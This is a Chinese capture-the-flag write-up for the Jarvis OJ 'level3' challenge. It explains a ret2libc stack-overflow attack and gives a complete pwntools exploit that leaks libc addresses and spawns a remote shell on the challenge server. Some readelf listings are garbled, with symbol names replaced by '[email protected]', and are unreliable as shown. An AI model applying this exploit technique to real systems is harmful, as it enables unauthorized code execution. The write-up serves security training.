1. 程式人生 > >Jarvis OJ-PWN-[XMAN]level3 wp

Jarvis OJ-PWN-[XMAN]level3 wp

地址:nc pwn2.jarvisoj.com 9879

一開始拿到題目的時候是一個rar檔案 在這裡插入圖片描述 解壓後就得到了兩個檔案 對這兩個檔案檢視保護 在這裡插入圖片描述 兩個檔案都是32位的 level3沒有開啟棧保護 可以利用棧溢位;棧中內容不可使用 不用shellcode 可以看到是全部都開啟了

用IDA32開啟level3 在這裡插入圖片描述 跟進vulnerable_function()函式 在這裡插入圖片描述 溢位點在read上 棧溢位的目的是執行system("/bin/sh") 但是我們並沒有找到相關的函式和字串 在這裡插入圖片描述 那麼就需要通過read構造棧溢位 並覆蓋返回地址

總結為以下三步:

  1. 通過vulnerable_function()函式中的read構造棧溢位 並覆蓋返回地址為plt中的write
  2. 通過write洩露出read在記憶體中的絕對地址,並且呼叫vulnerable_function()
  3. 計算出system和/bin/sh的絕對地址,再通過vulnerable_function()構造棧溢位進行復寫

寫指令碼前先在libc.so中搜一下幾個關鍵函式和字串

[email protected]:~/Desktop/Pwn/level3# readelf -a ./libc-2.19.so |grep "[email protected]"
   571: 000daf60   125 FUNC    WEAK   DEFAULT   12 [email protected]
@GLIBC_2.0 705: 0006f220 50 FUNC GLOBAL DEFAULT 12 [email protected]@GLIBC_2.0 950: 000daf60 125 FUNC WEAK DEFAULT 12 [email protected]@GLIBC_2.0 1166: 000e0c40 1461 FUNC GLOBAL DEFAULT 12 [email protected]@GLIBC_2.0 1263: 000ec390 46 FUNC GLOBAL DEFAULT 12 [email protected]
@GLIBC_2.7 1698: 000643a0 259 FUNC WEAK DEFAULT 12 [email protected]@GLIBC_2.0 2181: 000c3030 204 FUNC WEAK DEFAULT 12 [email protected]@GLIBC_2.1 2300: 000643a0 259 FUNC GLOBAL DEFAULT 12 [email protected]@GLIBC_2.0 [email protected]:~/Desktop/Pwn/level3# readelf -a ./libc-2.19.so |grep "[email protected]" 620: 00040310 56 FUNC GLOBAL DEFAULT 12 [email protected]@GLIBC_PRIVATE 1443: 00040310 56 FUNC WEAK DEFAULT 12 [email protected]@GLIBC_2.0 [email protected]:~/Desktop/Pwn/level3# readelf -a ./libc-2.19.so |grep "[email protected]" 111: 00033690 58 FUNC GLOBAL DEFAULT 12 [email protected]@GLIBC_2.10 139: 00033260 45 FUNC GLOBAL DEFAULT 12 [email protected]@GLIBC_2.0 554: 000b5f24 24 FUNC GLOBAL DEFAULT 12 [email protected]@GLIBC_2.0 609: 0011c2a0 56 FUNC GLOBAL DEFAULT 12 [email protected]@GLIBC_2.0 645: 00033660 45 FUNC GLOBAL DEFAULT 12 [email protected]@GLIBC_2.10 868: 00033490 84 FUNC GLOBAL DEFAULT 12 [email protected]@GLIBC_2.1.3 1037: 00126800 60 FUNC GLOBAL DEFAULT 12 [email protected]_2.0 1492: 000f9160 62 FUNC GLOBAL DEFAULT 12 [email protected]@GLIBC_2.0 2243: 00033290 77 FUNC WEAK DEFAULT 12 [email protected]@GLIBC_2.0 2386: 000f9cd0 2 FUNC GLOBAL DEFAULT 12 [email protected]@GLIBC_2.2 [email protected]:~/Desktop/Pwn/level3# strings -a -t x ./libc-2.19.so | grep "/bin/sh" 16084c /bin/sh

篩選之後得到

   950: 000daf60   125 FUNC    WEAK   DEFAULT   12 [email protected]@GLIBC_2.0
  1443: 00040310    56 FUNC    WEAK   DEFAULT   12 [email protected]@GLIBC_2.0
   139: 00033260    45 FUNC    GLOBAL DEFAULT   12 [email protected]@GLIBC_2.0
 16084c /bin/sh

最後寫exp

from pwn import *
r=remote('pwn2.jarvisoj.com',9879)
e=ELF('./level3')
 
plt_write=hex(e.plt['write'])
got_read=hex(e.got['read'])
vulfuncadr=hex(e.symbols['vulnerable_function'])
plt_write_args=p32(0x01)+p32(int(got_read,16))+p32(0x04)
#呼叫順序:func1_address+func2_adress+……+func1_argslist+func2_argslist+……
payload1='A'*(0x88+0x4)+p32(int(plt_write,16))+p32(int(vulfuncadr,16))+plt_write_args
 
r.recv()
r.send(payload1)
readadr=hex(u32(r.recv()))#洩露read絕對地址
 
#   950: 000daf60   125 FUNC    WEAK   DEFAULT   12 [email protected]@GLIBC_2.0
#  1443: 00040310    56 FUNC    WEAK   DEFAULT   12 [email protected]@GLIBC_2.0
#   139: 00033260    45 FUNC    GLOBAL DEFAULT   12 [email protected]@GLIBC_2.0
# 16084c /bin/sh
 
libc_read=0x000DAF60
offset=int(readadr,16)-libc_read #計算偏移量
sysadr=offset+0x00040310 #system絕對地址
xitadr=offset+0x00033260 #exit絕對地址
bshadr=offset+0x0016084C #binsh絕對地址
payload2='A'*(0x88+0x4)+p32(sysadr)+p32(xitadr)+p32(bshadr)
 
r.send(payload2)
r.interactive()

在這裡插入圖片描述

本文大部分參考https://blog.csdn.net/cossack9989/article/details/79326659